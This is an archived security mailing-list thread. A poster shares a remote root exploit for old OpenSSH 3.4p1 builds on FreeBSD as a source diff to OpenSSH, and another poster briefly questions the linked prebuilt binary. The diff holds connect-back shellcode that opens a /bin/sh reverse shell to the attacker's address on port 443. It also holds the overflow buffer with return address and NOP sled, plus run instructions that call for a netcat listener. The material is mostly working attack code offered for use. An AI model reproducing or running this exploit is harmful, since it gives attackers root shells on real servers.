bugtraq - Re: Working Remote Root Exploit for OpenSSH 3.4p1 (FreeBSD)

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Date: Fri, 1 Jul 2011 17:52:07 +0200
From: "HI-TECH ." <isowarez.isowarez.isowarez@...glemail.com>
To: Benji <me@...ji.com>
Cc: full-disclosure@...ts.grok.org.uk, bugtraq@...urityfocus.com
Subject: Re: Working Remote Root Exploit for OpenSSH 3.4p1
	(FreeBSD)


you can apply the patch using the diff if you don't want to run that.

2011/7/1 Benji <me@...ji.com>:
> So you want people to download your statically linked binary?
>
> On Fri, Jul 1, 2011 at 4:45 PM, HI-TECH .
> <isowarez.isowarez.isowarez@...glemail.com> wrote:
>>
>> OpenSSH FreeBSD Remote Root Exploit
>> By Kingcope
>> Year 2011
>>
>> Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
>> Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924
>> run like ./ssh -1 -z <yourip> <target>
>> setup a netcat, port 443 on yourip first
>>
>> a statically linked linux binary of the exploit can be found below
>> attached is a diff to openssh-5.8p2.
>>
>> the statically linked binary can be downloaded from
>> http://isowarez.de/ssh_0day
>>
>> I know these versions are really old, some seem to run
>> that tough.
>>
>> -Cheers, King "the archaeologist" Cope
>>
>> diff openssh-5.8p2/ssh.c openssh-5.8p2_2/ssh.c
>> 149a150
>> > char *myip;
>> 195a197,203
>> > "OpenSSH FreeBSD Remote Root Exploit\n"
>> > "By Kingcope\n"
>> > "Year 2011\n\n"
>> > "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n"
>> > "Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n"
>> > "run like ./ssh -1 -z <yourip> <target>\n"
>> > "setup a netcat, port 443 on yourip first\n\n"
>> 299c307
>> <       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:p:qstvx"
>> ---
>> >       while ((opt = getopt(ac, av, "1246ab:c:e:fgi:kl:m:no:z:p:qstvx"
>> 335a344,346
>> >                       break;
>> >               case 'z':
>> >                       myip = optarg;
>> diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
>> 667a668,719
>> > //IP=\xc0\xa8\x20\x80
>> > #define       IPADDR  "\xc0\xa8\x20\x80"
>> > #define PORT  "\x27\x10"              /* htons(10000) */
>> >
>> > char sc[] =
>> >    "\x90\x90"
>> >    "\x90\x90"
>> >    "\x31\xc9"                 // xor    ecx, ecx
>> >    "\xf7\xe1"                 // mul    ecx
>> >    "\x51"                     // push   ecx
>> >    "\x41"                     // inc    ecx
>> >    "\x51"                     // push   ecx
>> >    "\x41"                     // inc    ecx
>> >    "\x51"                     // push   ecx
>> >    "\x51"                     // push   ecx
>> >    "\xb0\x61"                 // mov    al, 97
>> >    "\xcd\x80"                 // int    80h
>> >    "\x89\xc3"                 // mov    ebx, eax
>> >    "\x68"IPADDR                       // push   dword 0101017fh
>> >    "\x66\x68"PORT             // push   word 4135
>> >    "\x66\x51"                 // push   cx
>> >    "\x89\xe6"                 // mov    esi, esp
>> >    "\xb2\x10"                 // mov    dl, 16
>> >    "\x52"                     // push   edx
>> >    "\x56"                     // push   esi
>> >    "\x50"                     // push   eax
>> >    "\x50"                     // push   eax
>> >    "\xb0\x62"                 // mov    al, 98
>> >    "\xcd\x80"                 // int    80h
>> >    "\x41"                     // inc    ecx
>> >    "\xb0\x5a"                 // mov    al, 90
>> >    "\x49"                     // dec    ecx
>> >    "\x51"                     // push   ecx
>> >    "\x53"                     // push   ebx
>> >    "\x53"                     // push   ebx
>> >    "\xcd\x80"                 // int    80h
>> >    "\x41"                     // inc    ecx
>> >    "\xe2\xf5"                 // loop   -10
>> >    "\x51"                     // push   ecx
>> >    "\x68\x2f\x2f\x73\x68"     // push   dword 68732f2fh
>> >    "\x68\x2f\x62\x69\x6e"     // push   dword 6e69622fh
>> >    "\x89\xe3"                 // mov    ebx, esp
>> >    "\x51"                     // push   ecx
>> >    "\x54"                     // push   esp
>> >    "\x53"                     // push   ebx
>> >    "\x53"                     // push   ebx
>> >    "\xb0\xc4\x34\xff"
>> >    "\xcd\x80";                // int    80h
>> >
>> >
>> > extern char *myip;
>> >
>> 678a731,748
>> >
>> >       char buffer[100000];
>> >
>> >       printf("OpenSSH Remote Root Exploit\n");
>> >       printf("By Kingcope\n");
>> >       printf("Year 2011\n\n");
>> >       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702\n");
>> >       printf("Unlocks SSH-1.99-OpenSSH_3.4p1 FreeBSD-20030924\n");
>> >       printf("Connect back to: %s:443\n", myip);
>> >
>> >       *((unsigned long*)(sc + 21)) = inet_addr(myip);
>> >       *((unsigned short*)(sc + 27)) = htons(443);
>> >
>> >       memset(buffer, 'V', 8096);
>> >       memcpy(buffer+24, "\x6b\x4b\x0c\x08", 4); //
>> > SSH-1.99-OpenSSH_3.4p1 FreeBSD-20020702
>> >       memset(buffer+28, '\x90', 65535);
>> >       memcpy(buffer+28+65535, sc, sizeof(sc));
>> >       server_user=buffer;
>>
>> _______________________________________________
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>
>

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